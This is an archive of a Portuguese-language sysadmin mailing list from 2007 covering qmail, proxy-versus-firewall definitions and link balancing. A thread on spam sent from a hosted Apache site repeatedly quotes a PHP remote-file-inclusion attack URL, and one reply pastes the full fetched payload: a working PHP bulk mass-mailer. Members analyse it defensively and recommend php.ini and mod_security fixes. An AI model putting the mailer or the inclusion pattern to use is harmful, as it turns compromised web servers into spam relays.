Sempre acaba com stress..

Sobre os patch, o qmail n?o foi feito para suportar nada mais, o DJB fez um
micro-programa que faz s? um set limitado de instru??es, os "addon" s?o na
forma de patch mesmo, pois ele n?o permite que se empacote isto.

Mas se voc? usa por ex, freebsd, o ports mail/qmail-spamcontrol faz tudo.

Mas como falei, ? igual paix?o de futebol eheheh, cada um vai se adequar
?quele que atende as necessidades da empresa.

Aqui tenho ainda sendmail enviando emails  de alguns sistemas internos e
funciona bem, ao lado de qmail tamb?m.


Abra?os


On 4/18/07 3:19 PM, "Jeronimo Zucco" <jczucco at ucs.br> wrote:

> Eu passei por isso tamb?m. Vai ser dif?cil eu voltar ao qmail :-)





From aquino at ecosistemas.com.br  Wed Apr 18 17:38:46 2007
From: aquino at ecosistemas.com.br (Lucio de Aquino Marinho)
Date: Wed, 18 Apr 2007 17:38:46 -0300
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <46267FC0.2000707@jonny.eng.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>	<46264D02.8060509@ecosistemas.com.br>
	<46267FC0.2000707@jonny.eng.br>
Message-ID: <462681D6.7010003@ecosistemas.com.br>

Dou a m?o a palmat?ria ,  voce tem raz?o

   realmente isso n?o tem fim

Lucio

Jo?o Carlos Mendes Luis escreveu:
> Lucio de Aquino Marinho wrote:
>   
>> Talvez estivesse certo se o conceito de firewall fosse o de " Ferramenta 
>> de imposi??o de Politicas de Seguran?a "  neste caso o proxy se encaixaria .
>>     
>
> Nao se o proxy for apenas para cache, e n?o para autentica??o.
>
> neste caso, ? uma ferramenta de otimiza??o de recursos da rede.
>
>   
>> Lucio
>>
>> Welliton S? escreveu:
>>     
>>> Prezados,
>>>
>>> em prova de concurso p?blico recente, foi apresentada a seguinte afirmativa:
>>>
>>> "Proxy nada mais ? do que um firewall de controle
>>> de aplica??es, tais como SMTP, FTP, HTTP e
>>> outras."
>>>
>>> e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver  
>>> errado, mas as fun??es de um proxy e de um firewall s?o bem definidas  
>>> e distintas. Correto?
>>>
>>>
>>>
>>> Atenciosamente,
>>>
>>>
>>> Welliton S?
>>>
>>>
>>> __
>>> masoch-l list
>>> https://eng.registro.br/mailman/listinfo/masoch-l
>>>   
>>>       
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>     
>
>
>
> 					Jonny
>
>   



From fabricioveiga at milnegocios.com.br  Thu Apr 19 11:06:31 2007
From: fabricioveiga at milnegocios.com.br (=?ISO-8859-1?Q?Fabr=EDcio_Veiga?=)
Date: Thu, 19 Apr 2007 11:06:31 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?D=FAvidas_com_Links_Balanceados_e_Fibra?=
 =?iso-8859-1?q?_=D3tica?=
Message-ID: <46277767.6020706@milnegocios.com.br>

Bom dia senhores.

Atualmente tenho links 10 megabits balanceados. S?o link de 2 megabits 
cada. J? estou usando um bom tempo esse tipo de estrutura. Conversando 
com a Embratel, me ofereceram um outro tipo de estrutura, com um link de 
16 megabits sendo fibra ?tica. Estou estudando a proposta pois isso 
acarretara um custo adicional.
Terei que usar algum roteador para essa nova estrutura ? Algu?m tem ou 
j? teve experi?ncia com esse tipo de estrutura ? Outra d?vida me ocorrem 
como encapsulamento que ser? usado, faixas de ips, etc.


Obrigado.
[]'s


Fabr?cio Veiga


From chicofig at unesp.br  Thu Apr 19 11:27:03 2007
From: chicofig at unesp.br (Francisco J. C. Figueiredo)
Date: Thu, 19 Apr 2007 11:27:03 -0300
Subject: [MASOCH-L] Conceito de Proxy
In-Reply-To: <462681D6.7010003@ecosistemas.com.br>
References: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>	<46264D02.8060509@ecosistemas.com.br>	<46267FC0.2000707@jonny.eng.br>
	<462681D6.7010003@ecosistemas.com.br>
Message-ID: <46277C37.9070300@unesp.br>

Pessoal,

Primeiramente algumas defini??es de firewall recolhidas por mim ao longo 
da vida (a tradu??o ? minha..):

? Marcus Ranum: Firewalls S?o uma tecnologia de defesa de per?metro. O 
princ?pio da defesa de per?metro ? construir uma parede virtual ao redor 
darede, controlando e tornando seguro todo o acesso para dentro e para 
fora dela. (Ranum, 1993)

? Bill Cheswick e Steve Bellovin: O firewall ? um ponto entre duas ou 
mais redes pelo qual passa todo o tr?fego. (Cheswick e Bellovin, 1994)

? Gon?alves: Um firewall separa a rede protegida daquela desprotegida: a 
Internet. Ele escrutina e filtra todas as conex?es vindas da Internet 
para a rede protegida e vice-versa, atrav?s de um ?nico "checkpoint" 
concentrado de seguran?a. Um firewall assegura que voc? n?o possa ter 
acesso a Internet a partir da rede interna, nem vice-versa, a n?o ser
que voc? passe por esse ponto. (Gon?alves, 1994)

? Gene Spafford e Garfinkel: ...fornece ?s organiza??es um middle ground 
entre as redes que est?o completamente isoladas das redes externas e 
aquelas completamente conectadas ? rede externa. Colocado entre a rede 
interna de uma organiza??o e a rede externa, o firewall fornece um meio 
de controle simples da quantidade e tipo de tr?fego entre uma as duas 
redes... A fun??o fundamental de um firewall ? a de restringir o fluxo 
de informa??es entre duas redes. (Spafford e Garfinkel, 1996)

? Chapman e Zwicky: Um componente ou conjunto de componentes que 
restringem o acesso entre uma rede protegida e a Internet, ou entre 
outros conjuntos de redes.

J? o proxy, como algu?m j? lembrou na lista, pode ser mais propriamente 
definido como um gateway de aplica??o (a quest?o se ele faz cache de 
alguma coisa ? secund?ria).

Historicamente o conceito de proxy muitas vezes aparece misturado com o 
conceito de firewall, por?m penso que numa defini??o mais moderna o 
proxy pode ser pensado tanto como um componente de um firewall, e a? 
estou adotando a defini??o de firewall de Chapman e Zwicky, quanto pode 
ser pensado tendo uma exist?ncia isolada.

De qualquer forma, voltando ? quest?o que iniciou esta discuss?o, seria 
interessante saber quais as outras alternativas da quest?o do concurso. 
Pode ser que exista ou n?o uma outra alternativa melhor.
Acho que n?o se pode dizer que essa alternativa est? totalmente certa, 
mas ela pode ser v?lida, com ressalvas...

? isso!

Chico




>    realmente isso n?o tem fim
> 
> Lucio
> 
> Jo?o Carlos Mendes Luis escreveu:
>> Lucio de Aquino Marinho wrote:
>>   
>>> Talvez estivesse certo se o conceito de firewall fosse o de " Ferramenta 
>>> de imposi??o de Politicas de Seguran?a "  neste caso o proxy se encaixaria .
>>>     
>> Nao se o proxy for apenas para cache, e n?o para autentica??o.
>>
>> neste caso, ? uma ferramenta de otimiza??o de recursos da rede.
>>
>>   
>>> Lucio
>>>
>>> Welliton S? escreveu:
>>>     
>>>> Prezados,
>>>>
>>>> em prova de concurso p?blico recente, foi apresentada a seguinte afirmativa:
>>>>
>>>> "Proxy nada mais ? do que um firewall de controle
>>>> de aplica??es, tais como SMTP, FTP, HTTP e
>>>> outras."
>>>>
>>>> e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver  
>>>> errado, mas as fun??es de um proxy e de um firewall s?o bem definidas  
>>>> e distintas. Correto?
>>>>
>>>>
>>>>
>>>> Atenciosamente,
>>>>
>>>>
>>>> Welliton S?
>>>>
>>>>
>>>> __
>>>> masoch-l list
>>>> https://eng.registro.br/mailman/listinfo/masoch-l
>>>>   
>>>>       
>>> __
>>> masoch-l list
>>> https://eng.registro.br/mailman/listinfo/masoch-l
>>>     
>>
>>
>> 					Jonny
>>
>>   
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
> 


-- 
********************************************
*                                          *
*    Francisco J. C. Figueiredo            *
*    chicofig at unesp.br                     *
*                                          *
*    Analista de Redes    GRC/AI           *
*    UNESP-Universidade Estadual Paulista  *
*                                          *
*    Tel: (11) 5627-0539                   *
*                                          *
* PGP public key:                          *
*    http://grc.unesp.br/chicofig_pgp.txt  *
********************************************

          WYSIWYG editor?
              VI !!!
      I see text,I get text !!!


From diego at fasternet.com.br  Thu Apr 19 11:59:34 2007
From: diego at fasternet.com.br (Diego Zuaneti Arruda)
Date: Thu, 19 Apr 2007 11:59:34 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?Bloquear_refer=EAncia_do_tipo_http_no_A?=
	=?iso-8859-1?q?pache?=
Message-ID: <029e01c78293$57973840$6907a8c0@DIEGONB>

  Boa tarde,

   Pessoal estou tendo problemas de SPAMs em um servidor apache, onde o spammer est? utilizando da seguinte maneira para enviar SPAM.

http://www.meudominio.com.br/xyz.php?end=http://www.geocities.com/xxxxerole/good.txt

   Gostaria de saber se h? como eu bloquear qualquer tentativa quando se referir a http*, ou seja, sempre que tentarem utilizar alguma v?riavel apontando para um servidor http fosse bloqueado.

   H? alguma maneira de fazer isso ?




Obrigado,
Diego Zuaneti Arruda


From brunomenoli at yahoo.com.br  Thu Apr 19 12:44:23 2007
From: brunomenoli at yahoo.com.br (Bruno Mendes)
Date: Thu, 19 Apr 2007 12:44:23 -0300
Subject: [MASOCH-L]
 =?iso-8859-1?q?Bloquear_refer=EAncia_do_tipo_http_no_A?=
 =?iso-8859-1?q?pache?=
In-Reply-To: <029e01c78293$57973840$6907a8c0@DIEGONB>
References: <029e01c78293$57973840$6907a8c0@DIEGONB>
Message-ID: <46278E57.6090807@yahoo.com.br>

Boa tarde,


Voce pode fazer isso utilizando o modsecurity.

Ate mais!


Diego Zuaneti Arruda wrote:
>   Boa tarde,
>
>    Pessoal estou tendo problemas de SPAMs em um servidor apache, onde o spammer est? utilizando da seguinte maneira para enviar SPAM.
>
> http://www.meudominio.com.br/xyz.php?end=http://www.geocities.com/xxxxerole/good.txt
>
>    Gostaria de saber se h? como eu bloquear qualquer tentativa quando se referir a http*, ou seja, sempre que tentarem utilizar alguma v?riavel apontando para um servidor http fosse bloqueado.
>
>    H? alguma maneira de fazer isso ?
>
>
>
>
> Obrigado,
> Diego Zuaneti Arruda
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
>   



From MBORBA at trf3.gov.br  Thu Apr 19 12:55:59 2007
From: MBORBA at trf3.gov.br (MARLON BORBA)
Date: Thu, 19 Apr 2007 12:55:59 -0300
Subject: [MASOCH-L]
 =?windows-1252?q?Bloquear_refer=EAncia_do_tipo_http_no?=
 =?windows-1252?q?_A_pache?=
Message-ID: <s6276706.099@server-trf8.trf3.gov.br>

Hummm... n?o seria mais simples sanear a vulnerabilidade do Apache e do PHP?
O "script" xyz.php n?o ? "furado"?



Abra?os,

Marlon Borba, CISSP, APC DataCenter Associate
T?cnico Judici?rio - Seguran?a da Informa??o
TRF 3? Regi?o
(11) 3012-1683
--
Don?t just sit there and think it does not matter.
* Security is the problem we love to ignore.
(David Clark, 1992)
--

>>> brunomenoli at yahoo.com.br 19/4/2007 12:44 >>>
Boa tarde,


Voce pode fazer isso utilizando o modsecurity.

Ate mais!


Diego Zuaneti Arruda wrote:
>   Boa tarde,
>
>    Pessoal estou tendo problemas de SPAMs em um servidor apache, onde o spammer est? utilizando da seguinte maneira para enviar SPAM.
>
> http://www.meudominio.com.br/xyz.php?end=http://www.geocities.com/xxxxerole/good.txt 
>
>    Gostaria de saber se h? como eu bloquear qualquer tentativa quando se referir a http*, ou seja, sempre que tentarem utilizar alguma v?riavel apontando para um servidor http fosse bloqueado.
>
>    H? alguma maneira de fazer isso ?
>
>
>
>
> Obrigado,
> Diego Zuaneti Arruda
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l 
>
>   

__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l



From roberto.berto at gmail.com  Thu Apr 19 13:02:34 2007
From: roberto.berto at gmail.com (Roberto Berto)
Date: Thu, 19 Apr 2007 13:02:34 -0300
Subject: [MASOCH-L]
	=?utf-8?q?Bloquear_refer=C3=AAncia_do_tipo_http_no_Apa?=
	=?utf-8?q?che?=
In-Reply-To: <029e01c78293$57973840$6907a8c0@DIEGONB>
References: <029e01c78293$57973840$6907a8c0@DIEGONB>
Message-ID: <3b0813fa0704190902x1047ae9ei57fe5563841c3367@mail.gmail.com>

O problema ? que realizam injecao de codigo PHP atraves do include ou
do require. Em alguma linha do xyz.php do exemplo deve haver algo como

include $secao . ".php";

Ai basta abrir:
http://www.meudominio.com.br/xyz.php?end=http://www.geocities.com/xxxxerole/good.txt?

E o conteudo do http://www.geocities.com/xxxxerole/good.txt sera
interpretado como codigo PHP.


 No PHP4 a solucao nao ? muito boa, pois o bloqueio ocorrera tanto
para o include, require, quanto para o fopen, o que pode impedir
alguns usos legitimos e necessarios dos clientes, neste caso eles
podem usar bibliotecas do PEAR ou mesmo a extensao CURL.

Para resolver, edite o php.ini e coloque allow_url_fopen = Off



No PHP5 fizeram uma melhoria e agora ? poss?vel impedir URL em require
e includes, colocando no php.ini:
allow_url_include = Off


Tomar uma dessas atitudes ou bloquear acesso saida pela porta 80 ?
essencial para a seguranca minima de um sistema com PHP

O fato ? que existem bots na internet procurando vulnerabilidades em
sites e por isso qualquer site que tiver essa vulnerabilidade ou mesmo
possibilitar injecao de header na funcao mail() do PHP (outra situacao
muito comum) podera ser encontrado e a vulnerabilidade um dia devera
ser explorada.

O ideal seria os programadores tomarem cuidado na programacao....



On 4/19/07, Diego Zuaneti Arruda <diego at fasternet.com.br> wrote:
>   Boa tarde,
>
>    Pessoal estou tendo problemas de SPAMs em um servidor apache, onde o spammer est? utilizando da seguinte maneira para enviar SPAM.
>
> http://www.meudominio.com.br/xyz.php?end=http://www.geocities.com/xxxxerole/good.txt
>
>    Gostaria de saber se h? como eu bloquear qualquer tentativa quando se referir a http*, ou seja, sempre que tentarem utilizar alguma v?riavel apontando para um servidor http fosse bloqueado.
>
>    H? alguma maneira de fazer isso ?
>
>
>
>
> Obrigado,
> Diego Zuaneti Arruda
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>



-- 
Atenciosamente,

----------------------------------------------------------
Roberto Bert?

From marcelo at tpn.com.br  Thu Apr 19 13:04:20 2007
From: marcelo at tpn.com.br (Marcelo Coelho)
Date: Thu, 19 Apr 2007 13:04:20 -0300
Subject: [MASOCH-L]
 =?iso-8859-1?q?Bloquear_refer=EAncia_do_tipo_http_no_A?=
 =?iso-8859-1?q?pache?=
In-Reply-To: <029e01c78293$57973840$6907a8c0@DIEGONB>
References: <029e01c78293$57973840$6907a8c0@DIEGONB>
Message-ID: <46279304.20908@tpn.com.br>

Ol? Diego,

Consulte o par?metro no allow_url_fopen no php.ini.

-- 
Marcelo Coelho
marcelo at tpn.com.br



Diego Zuaneti Arruda wrote:
>   Boa tarde,
>
>    Pessoal estou tendo problemas de SPAMs em um servidor apache, onde o spammer est? utilizando da seguinte maneira para enviar SPAM.
>
> http://www.meudominio.com.br/xyz.php?end=http://www.geocities.com/xxxxerole/good.txt
>
>    Gostaria de saber se h? como eu bloquear qualquer tentativa quando se referir a http*, ou seja, sempre que tentarem utilizar alguma v?riavel apontando para um servidor http fosse bloqueado.
>
>    H? alguma maneira de fazer isso ?
>
>
>
>
> Obrigado,
> Diego Zuaneti Arruda
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
>
>   


From brunomenoli at yahoo.com.br  Thu Apr 19 13:09:23 2007
From: brunomenoli at yahoo.com.br (Bruno Mendes)
Date: Thu, 19 Apr 2007 13:09:23 -0300
Subject: [MASOCH-L]
 =?iso-8859-1?q?Bloquear_refer=EAncia_do_tipo_http_no_A?=
 =?iso-8859-1?q?pache?=
In-Reply-To: <46278E57.6090807@yahoo.com.br>
References: <029e01c78293$57973840$6907a8c0@DIEGONB>
	<46278E57.6090807@yahoo.com.br>
Message-ID: <46279433.8000305@yahoo.com.br>

Creio que a melhor solucao seja o mod security, porque nao h? como de 
sempre checar a vulnerabilidade de um script colocado por um cliente. 
Entao fica sendo mais uma acao preventiva.


Abraco a todos!




Bruno Mendes wrote:
> Boa tarde,
>
>
> Voce pode fazer isso utilizando o modsecurity.
>
> Ate mais!
>
>
> Diego Zuaneti Arruda wrote:
>   
>>   Boa tarde,
>>
>>    Pessoal estou tendo problemas de SPAMs em um servidor apache, onde o spammer est? utilizando da seguinte maneira para enviar SPAM.
>>
>> http://www.meudominio.com.br/xyz.php?end=http://www.geocities.com/xxxxerole/good.txt
>>
>>    Gostaria de saber se h? como eu bloquear qualquer tentativa quando se referir a http*, ou seja, sempre que tentarem utilizar alguma v?riavel apontando para um servidor http fosse bloqueado.
>>
>>    H? alguma maneira de fazer isso ?
>>
>>
>>
>>
>> Obrigado,
>> Diego Zuaneti Arruda
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
>>   
>>     
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
>   



From danton at inexo.com.br  Thu Apr 19 13:11:31 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Thu, 19 Apr 2007 13:11:31 -0300 (BRT)
Subject: [MASOCH-L]
 =?iso-8859-1?q?Bloquear_refer=EAncia_do_tipo_http_no_A?=
 =?iso-8859-1?q?pache?=
In-Reply-To: <029e01c78293$57973840$6907a8c0@DIEGONB>
References: <029e01c78293$57973840$6907a8c0@DIEGONB>
Message-ID: <Pine.LNX.4.60.0704191309100.21421@newquantum.inexo.com.br>

On Thu, 19 Apr 2007, Diego Zuaneti Arruda wrote:

>  Boa tarde,
>
>   Pessoal estou tendo problemas de SPAMs em um servidor apache, onde o spammer est? utilizando da seguinte maneira para enviar SPAM.
>
> http://www.meudominio.com.br/xyz.php?end=http://www.geocities.com/xxxxerole/good.txt
>
>   Gostaria de saber se h? como eu bloquear qualquer tentativa quando se referir a http*, ou seja, sempre que tentarem utilizar alguma v?riavel apontando para um servidor http fosse bloqueado.

teu problema ? outro. evidentemente o script xyz.php est? fazendo 
besteira. reveja-o, especialmente no uso da fun??o php mail() que ? 
nitroglicerina pura. pode ser at? que o end=http://... seja s? enfeite 
para causar confus?o.

eu apresentei numa reuni?o do GTER esse problema de envio de spam usando 
servidores Web.


From MBORBA at trf3.gov.br  Thu Apr 19 13:17:27 2007
From: MBORBA at trf3.gov.br (MARLON BORBA)
Date: Thu, 19 Apr 2007 13:17:27 -0300
Subject: [MASOCH-L]
 =?windows-1252?q?Bloquear_refer=EAncia_do_tipo_http_no?=
 =?windows-1252?q?_A_pache?=
Message-ID: <s6276c0e.016@server-trf8.trf3.gov.br>

pessoalmente, entendo que o cliente deve e pode ser alertado para a (ir)responsabilidade do seu fornecedor de software. este, por dever, tem de oferecer o m?nimo de garantias de que o cliente n?o ser? o inocente ?til na m?o de um "spammer".



Abra?os,

Marlon Borba, CISSP, APC DataCenter Associate
T?cnico Judici?rio - Seguran?a da Informa??o
TRF 3? Regi?o
(11) 3012-1683
--
Don?t just sit there and think it does not matter.
* Security is the problem we love to ignore.
(David Clark, 1992)
--

>>> brunomenoli at yahoo.com.br 19/4/2007 13:09:23 >>>
Creio que a melhor solucao seja o mod security, porque nao h? como de 
sempre checar a vulnerabilidade de um script colocado por um cliente. 
Entao fica sendo mais uma acao preventiva.
[...]




From danton at inexo.com.br  Thu Apr 19 13:24:04 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Thu, 19 Apr 2007 13:24:04 -0300 (BRT)
Subject: [MASOCH-L]
 =?utf-8?q?Bloquear_refer=C3=AAncia_do_tipo_http_no_Apa?=
 =?utf-8?q?che?=
In-Reply-To: <3b0813fa0704190902x1047ae9ei57fe5563841c3367@mail.gmail.com>
References: <029e01c78293$57973840$6907a8c0@DIEGONB>
	<3b0813fa0704190902x1047ae9ei57fe5563841c3367@mail.gmail.com>
Message-ID: <Pine.LNX.4.60.0704191318350.21421@newquantum.inexo.com.br>

On Thu, 19 Apr 2007, Roberto Berto wrote:

> Para resolver, edite o php.ini e coloque allow_url_fopen = Off

sim, fa?a isso! e se seu servidor n?o tem que mandar e-mail, d? um jeito 
de desabilitar a fun??o mail(), porque ? ela que o script usa.

de qualquer jeito, quem foi i infeliz que depositou o tal xyz.php em sua 
m?quina? danger, Will Robinson!

eu peguei o conte?do do arquivo que ele inclui e ? um html porco com um 
php mais porco ainda. sinceramente n?o sei para que o man? precisa de todo 
aquele html, mas vai saber o que se passa na cabe?a dessa gente... a? vai:

--------8<----------------------------------------------------------------

<? 
if ($action=="send"){ 
$message = urlencode($message); 
$message = ereg_replace("%5C%22", "%22", $message); 
$message = urldecode($message); 
$message = stripslashes($message); 
$subject = stripslashes($subject); 
}

?> 
<form name="form1" method="post" action="" enctype="multipart/form-data"> 
<div align="center"> 
<center> 
<table border="2" cellpadding="0" cellspacing="0" style="border-collapse: 
collapse" bordercolor="#006699" width="74%" id="AutoNumber1"> 
<tr> 
<td width="100%"> 
<div align="center"> 
<center> 
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2"> 
<tr> 
<td width="100%"> 
<p align="center"><div align="center"> 
<center> 
<table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#336699" width="70%" cellpadding="0" id="AutoNumber1" height="277"> 
<tr> 
<td width="100%" height="272"> 
<table width="769" border="0" height="303"> 
<tr> 
<td width="786" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic3.gif" colspan="3" height="28"> 
<p align="center"><b><font face="Tahoma" size="2" color="#FF6600"> Mailer All Inbox- " |&#773;&#818;Se|&#773;Rv&#818;&#818;|Ar&#773;&#818;| " To Spam And Gat LoGiNz </font></b></td> 
</tr> 
<tr> 
<td width="79" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22" align="right"> 
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your 
Email:</font></div> 
</td> 
<td width="390" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
<input name="from" value="<? print $from; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your 
Name:</font></div> 
</td> 
<td width="317" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22" valign="middle"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
<input type="text" name="realname" value="<? print $realname; ?>" size="30"> 
</font></td> 
</tr> 
<tr> 
<td width="79" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22" align="right"> 
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div> 
</td> 
<td width="390" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
<input name="replyto" value="<? print $replyto; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Attach 
File:</font></div> 
</td> 
<td width="317" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
<input type="file" name="file" size="30"> 
</font></td> 
</tr> 
<tr> 
<td width="79" background="/simparts/images/cellpic1.gif" height="22" align="right"> 
<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div> 
</td> 
<td colspan="2" width="715" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
<input name="subject" value="<? print $subject; ?>" size="59" style="float: left"> 
</font></td> 
</tr> 
<tr valign="top"> 
<td colspan="2" width="477" bgcolor="#CCCCCC" height="189" valign="top"> 
<div align="left"> 
<table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#111111" width="98%" id="AutoNumber4"> 
<tr> 
<td width="100%"> 
<textarea name="message" cols="56" rows="10"><? print $message; ?></textarea> 
<br> 
<input type="radio" name="contenttype" value="plain"> 
<font size="2" face="Tahoma">Plain</font> 
<input name="contenttype" type="radio" value="html" checked="checked"> 
<font size="2" face="Tahoma">HTML</font> 
<input type="hidden" name="action" value="send"> 
<input type="submit" value="Send Message"> 
</td> 
</tr> 
</table> 
</div> 
</td> 
<td width="317" bgcolor="#CCCCCC" height="187" valign="top"> 
<div align="center"> 
<center> 
<table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#111111" width="93%" id="AutoNumber3"> 
<tr> 
<td width="100%"> 
<p align="center"> <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea> 
</font><br> 
</td> 
</tr> 
</table> 
</center> 
</div> 
</td> 
</tr> 
</table> 
</td> 
</tr> 
</table> 
</center> 
</div></td> 
</tr> 
</table> 
</center> 
</div> 
</td> 
</tr> 
</table> 
</center> 
</div> 
<div align="center"> 
<center> 
<table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="75%" id="AutoNumber5" height="1" cellpadding="0"> 
<tr> 
<td width="100%" valign="top" height="1"> 
<p align="right"><font size="1" face="Tahoma" color="#CCCCCC">Designed by:
  v1.5</font></td> 
</tr> 
</table> 
</center> 
</div> 
</form>

<? 
if ($action=="send"){

if (!$from && !$subject && !$message && !$emaillist){ 
print "Please complete all fields before sending your message."; 
exit; 
}

$allemails = split("\n", $emaillist); 
$numemails = count($allemails);

#Open the file attachment if any, and base64_encode it for email transport 
If ($file_name){ 
@copy($file, "./$file_name") or die("The file you are trying to upload couldn't be copied to the server"); 
$content = fread(fopen($file,"r"),filesize($file)); 
$content = chunk_split(base64_encode($content)); 
$uid = strtoupper(md5(uniqid(time()))); 
$name = basename($file); 
}

for($x=0; $x<$numemails; $x++){ 
$to = $allemails[$x]; 
if ($to){ 
$to = ereg_replace(" ", "", $to); 
$message = ereg_replace("&email&", $to, $message); 
$subject = ereg_replace("&email&", $to, $subject); 
print "Sending mail to $to....... "; 
flush(); 
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; 
$header .= "MIME-Version: 1.0\r\n"; 
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; 
If ($file_name) $header .= "--$uid\r\n"; 
$header .= "Content-Type: text/$contenttype\r\n"; 
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; 
$header .= "$message\r\n"; 
If ($file_name) $header .= "--$uid\r\n"; 
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; 
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; 
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; 
If ($file_name) $header .= "$content\r\n"; 
If ($file_name) $header .= "--$uid--"; 
mail($to, $subject, "", $header); 
print "E Don Go'><br>"; 
flush(); 
} 
}

} 
?>


From MBORBA at trf3.gov.br  Thu Apr 19 13:27:08 2007
From: MBORBA at trf3.gov.br (MARLON BORBA)
Date: Thu, 19 Apr 2007 13:27:08 -0300
Subject: [MASOCH-L]
 =?windows-1252?q?Bloquear_refer=EAncia_do_tipo_http_no?=
 =?windows-1252?q?_Apa_che?=
Message-ID: <s6276e3b.019@server-trf8.trf3.gov.br>

Isso est? com cara de m?quina "ownada". Algu?m "plantou" o PHP por l??



Abra?os,

Marlon Borba, CISSP, APC DataCenter Associate
T?cnico Judici?rio - Seguran?a da Informa??o
TRF 3? Regi?o
(11) 3012-1683
--
Don?t just sit there and think it does not matter.
* Security is the problem we love to ignore.
(David Clark, 1992)
--

>>> danton at inexo.com.br 19/4/2007 13:24:04 >>>
On Thu, 19 Apr 2007, Roberto Berto wrote:

> Para resolver, edite o php.ini e coloque allow_url_fopen = Off

sim, fa?a isso! e se seu servidor n?o tem que mandar e-mail, d? um jeito 
de desabilitar a fun??o mail(), porque ? ela que o script usa.

de qualquer jeito, quem foi i infeliz que depositou o tal xyz.php em sua 
m?quina? danger, Will Robinson!
[...]




From diego at fasternet.com.br  Thu Apr 19 13:29:53 2007
From: diego at fasternet.com.br (Diego Zuaneti Arruda)
Date: Thu, 19 Apr 2007 13:29:53 -0300
Subject: [MASOCH-L]
	=?windows-1252?q?Bloquear_refer=EAncia_do_tipo_http_no?=
	=?windows-1252?q?_A_pache?=
References: <s6276706.099@server-trf8.trf3.gov.br>
Message-ID: <050b01c7829f$f5e22d00$6907a8c0@DIEGONB>

  Sim, mas o problema ? que temos muitos dom?nios de clientes, e fica 
imposs?vel arrumar um a um..


----- Original Message ----- 
From: "MARLON BORBA" <MBORBA at trf3.gov.br>
To: "On-line Comfort and Help Mail Aid and Succor" 
<masoch-l at eng.registro.br>; <brunomenoli at yahoo.com.br>
Sent: Thursday, April 19, 2007 12:55 PM
Subject: Re: [MASOCH-L] Bloquear refer?ncia do tipo http no A pache


Hummm... n?o seria mais simples sanear a vulnerabilidade do Apache e do PHP?
O "script" xyz.php n?o ? "furado"?



Abra?os,

Marlon Borba, CISSP, APC DataCenter Associate
T?cnico Judici?rio - Seguran?a da Informa??o
TRF 3? Regi?o
(11) 3012-1683
--
Don?t just sit there and think it does not matter.
* Security is the problem we love to ignore.
(David Clark, 1992)
--

>>> brunomenoli at yahoo.com.br 19/4/2007 12:44 >>>
Boa tarde,


Voce pode fazer isso utilizando o modsecurity.

Ate mais!


Diego Zuaneti Arruda wrote:
>   Boa tarde,
>
>    Pessoal estou tendo problemas de SPAMs em um servidor apache, onde o 
> spammer est? utilizando da seguinte maneira para enviar SPAM.
>
> http://www.meudominio.com.br/xyz.php?end=http://www.geocities.com/xxxxerole/good.txt
>
>    Gostaria de saber se h? como eu bloquear qualquer tentativa quando se 
> referir a http*, ou seja, sempre que tentarem utilizar alguma v?riavel 
> apontando para um servidor http fosse bloqueado.
>
>    H? alguma maneira de fazer isso ?
>
>
>
>
> Obrigado,
> Diego Zuaneti Arruda
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
>

__
masoch-l list
